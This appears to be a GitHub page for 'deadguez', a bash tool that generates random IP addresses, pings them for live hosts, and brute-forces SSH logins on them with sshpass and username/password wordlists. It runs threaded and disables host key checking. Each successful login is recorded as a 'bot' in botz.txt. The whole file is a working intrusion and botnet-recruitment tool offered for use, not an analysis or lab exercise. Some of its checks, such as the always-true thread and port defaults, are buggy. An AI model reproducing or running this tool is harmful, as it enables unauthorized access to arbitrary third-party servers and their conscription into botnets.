-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathdeadguez
executable file
·177 lines (160 loc) · 5.69 KB
/
deadguez
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
#!/bin/bash
# Codename: Deadguez
# Author: Arya Narotama (4WSec)
# Github: github.com/aryanrtm
# Give me the credits if you recode this tool. Don't be a SKID!
### Colors
BK=$(tput setaf 0) # Black
GR=$(tput setaf 2) # Green
RD=$(tput setaf 1) # Red
YW=$(tput setaf 3) # Yellow
CY=$(tput setaf 6) # Cyan
WH=$(tput setaf 7) # White
PP=$(tput setaf 5) # purple
NT=$(tput sgr0) # Netral
BD=$(tput bold) # Bold
BG=$(tput setab 4) # Background Color
### Today's date
date=$(date "+%d_%m_%Y")
### Count (threads)
CON=1
function _Banner() {
printf "
${BD}${PP}╔╦╗ ╔═╗ ╔═╗ ╔╦╗ ╔═╗ ╦ ╦ ╔═╗ ╔═╗
${WH}║║ ║╣ ╠═╣ ║║ ║ ╦ ║ ║ ║╣ ╔═╝
${GR}═╩╝ ╚═╝ ╩ ╩ ═╩╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ${WH}by ${CY}4${GR}W${PP}S${GR}e${PP}c
═══${RD}═══${CY}════${WH}════${GR}═════${YW}═════${RD}════${CY}═══\n
${PP}--=[ ${CY}Type ${GR}!help ${CY}for Commands List ${PP}]=--${NT}\n\n"
}
function _IP_Generator() {
for (( i = 0; i < $TOTAL; i++ )); do
printf "%d.%d.%d.%d\n" "$((RANDOM % 256))" "$((RANDOM % 256))" "$((RANDOM % 256))" "$((RANDOM % 256))" >> ${date}_ip.txt
done 2> /dev/null
}
function _IP_Checker() {
ping -q -c1 ${X} > /dev/null
if [[ $? -eq 0 ]]; then
printf " ${BD}${WH}[${GR}+${WH}] ${WH}[${GR}${X}${WH}] - ${WH}[${GR}Botz Live${WH}]${NT}\n"
echo "${X}" >> ${date}_live.txt
else
printf " ${BD}${WH}[${RD}-${WH}] ${WH}[${RD}${X}${WH}] - ${WH}[${RD}Botz Die${WH}]${NT}\n"
fi &
}
function _Run_IP_Checker(){
for X in $(cat ${IP_LIST}); do
FAST=$(expr $CON % $THREADS)
if [[ $FAST == 0 && $CON > 0 ]]; then
sleep 2
fi
_IP_Checker &
CON=$[$CON+1]
done
wait
}
function _Attack_SSH() {
# Function of login SSH
local GO_ATTACK=$(sshpass -p "${PASSLIST}" ssh -o StrictHostKeyChecking=no "${USERLIST}"@"${IPLIST}" -p ${PORT} uname -a 2> /dev/null | grep -c "0");
if [[ $GO_ATTACK == "1" ]]; then
printf " ${BD}${WH}[${GR}+${WH}] ${WH}[${GR}${IPLIST}:${USERLIST}:${PASSLIST}:${PORT}${WH}] - ${WH}[${GR}Botz Connected${WH}]${NT}\n"
echo "${IPLIST}:${USERLIST}:${PASSLIST}:${PORT}" >> botz.txt
elif [[ $GO_ATTACK == "0" ]]; then
printf " ${BD}${WH}[${RD}-${WH}] ${WH}[${RD}${IPLIST}:${USERLIST}:${PASSLIST}:${PORT}${WH}] - ${WH}[${RD}Connection Refused${WH}]${NT}\n"
else
printf " ${WH}[${YW}?${WH}] ${WH}[${YW}${IPLIST}:${USERLIST}:${PASSLIST}:${PORT}${WH}] - ${WH}[${YW}Connection Unknown${WH}]\n"
fi
}
function _Help() {
printf "\n ${BD}${CY}══════════════════════════════════════════════════${NT}\n"
printf " ${WH}!help | For more information\n"
printf " !generate | Generate IP randomly\n"
printf " !check | Check if IP Address is available\n"
printf " !attack | Start attacking SSH\n"
printf " !botz | Display the total botz connected\n"
printf " !clear | Clear terminal screen\n"
printf " !q | Exit\n"
printf " ${BD}${CY}══════════════════════════════════════════════════${NT}\n"
}
_Banner
while true; do
echo -ne "\n${BD}${PP}$(whoami)${WH}@${PP}deadguez: ${GR}>> ${NT}${CY}"; read opt;
if [[ $opt == "!generate" ]]; then
echo -ne "\n ${WH}[${RD}?${WH}] ${CY}How many: ${WH}"; read TOTAL;
_IP_Generator
if [[ $? -eq 0 ]]; then
printf " ${BD}${WH}[${GR}+${WH}] ${GR}Successfully generate ${WH}$(echo "${TOTAL}") ${GR}IP Address${NT}\n"
printf " ${WH}[${GR}+${WH}] ${CY}File: ${WH}$(echo ${date}_ip.txt)\n"
else
printf " ${BD}${WH}[${RD}-${WH}] ${RD}Unsuccessful generate IP Address${NT}\n"
fi
elif [[ $opt == "!check" ]]; then
# IP List
echo -ne "\n ${WH}[${RD}?${WH}] ${CY}IP List: ${WH}"; read IP_LIST;
if [[ ! -e $IP_LIST ]]; then
printf " ${RD}[!] ${YW}File Not Found\n"
./${0}
fi
# Total Threads
read -p " ${WH}[${RD}?${WH}] ${CY}Threads (Default 50): ${WH}" THREADS;
if [[ $THREADS="" ]]; then
THREADS=50
fi
printf "\n\t${WH}[ ${CY}IP Checker ${BD}${GR}ON ${NT}${WH}]\n\n"
_Run_IP_Checker
elif [[ $opt == "!attack" ]]; then
# IP List
echo -ne "\n ${WH}[${RD}?${WH}] ${CY}IP List: ${WH}"; read IP_LIST;
if [[ ! -e $IP_LIST ]]; then
printf " ${RD}[!] ${YW}File Not Found\n"
./${0}
fi
# Open Port
read -p " ${WH}[${RD}?${WH}] ${CY}Port (Default 22): ${WH}" PORT;
if [[ $PORT="" ]]; then
PORT=22
fi
# Username List
read -p " ${WH}[${RD}?${WH}] ${CY}Username List: ${WH}" USER_LIST;
if [[ ! -e $USER_LIST ]]; then
printf " ${RD}[!] ${YW}File Not Found\n"
./${0}
fi
# Password List
read -p " ${WH}[${RD}?${WH}] ${CY}Password List: ${WH}" PASS_LIST;
if [[ ! -e $PASS_LIST ]]; then
printf " ${RD}[!] ${YW}File Not Found\n"
./${0}
fi
# Total Threads
read -p " ${WH}[${RD}?${WH}] ${CY}Threads (Default 50): ${WH}" THREADS;
if [[ $THREADS="" ]]; then
THREADS=50
fi
printf "\n\t${WH}[ ${CY}Scanner Mode ${BD}${GR}ON ${NT}${WH}]\n\n"
IFS=$'\r\n'
for IPLIST in $(cat $IP_LIST); do
for USERLIST in $(cat $USER_LIST); do
for PASSLIST in $(cat $PASS_LIST); do
FAST=$(expr $CON % $THREADS)
if [[ $FAST == 0 && $CON > 0 ]]; then
sleep 1
fi
_Attack_SSH &
CON=$[$CON+1]
done
done
done
wait
elif [[ $opt == "!help" ]]; then
_Help
elif [[ $opt == "!q" ]]; then
exit 0
elif [[ $opt == "!botz" ]]; then
printf "\n ${BD}${WH}[${PP}*${WH}] ${GR}Total Botz: ${PP}$(cat botz.txt | wc -l)\n"
elif [[ $opt == "!clear" ]]; then
clear
./${0}
else
printf "\n ${WH}[${YW}?${WH}] ${RD}Unknown Command\n"
./${0}
fi
done